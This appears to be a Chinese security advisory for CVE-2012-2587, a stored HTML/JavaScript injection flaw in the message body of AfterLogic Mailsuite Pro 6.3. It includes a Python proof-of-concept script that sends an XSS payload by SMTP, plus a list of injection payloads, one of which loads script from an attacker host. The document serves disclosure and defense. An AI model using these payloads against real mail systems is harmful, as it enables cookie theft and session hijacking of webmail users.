AfterLogic Mailsuite Pro 'Body'字段HTML注入漏洞


发布日期：2012-08-08
更新日期：2012-08-09

受影响系统：
AfterLogic MailBee Objects 6.3
描述：
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BUGTRAQ  ID: 54906
CVE ID: CVE-2012-2587

AfterLogic Mailsuite Pro是针对Linux的消息传送解决方案，包括电子邮件服务器、基于AJAX的Web邮件客户端、垃圾邮件和病毒保护、基于Web的管理面板、日历、联系人等。

Mailsuite Pro 6.3及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码，在受影响站点中运行，窃取Cookie身份验证凭证或控制站点外观。

<*来源：loneferret
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

loneferret （）提供了如下测试方法：


#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: AfterLogic Mailsuite Pro (VMware Appliance)
Version: 6.3
Vendor Site: http://www.afterlogic.com/
Software Download: http://www.afterlogic.com/download/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
2: <SCRIPT SRC=//attacker/.j>
3: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''

import smtplib, urllib2

payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议：
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厂商补丁：

AfterLogic
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.afterlogic.com/mailsuite/linux-email-server

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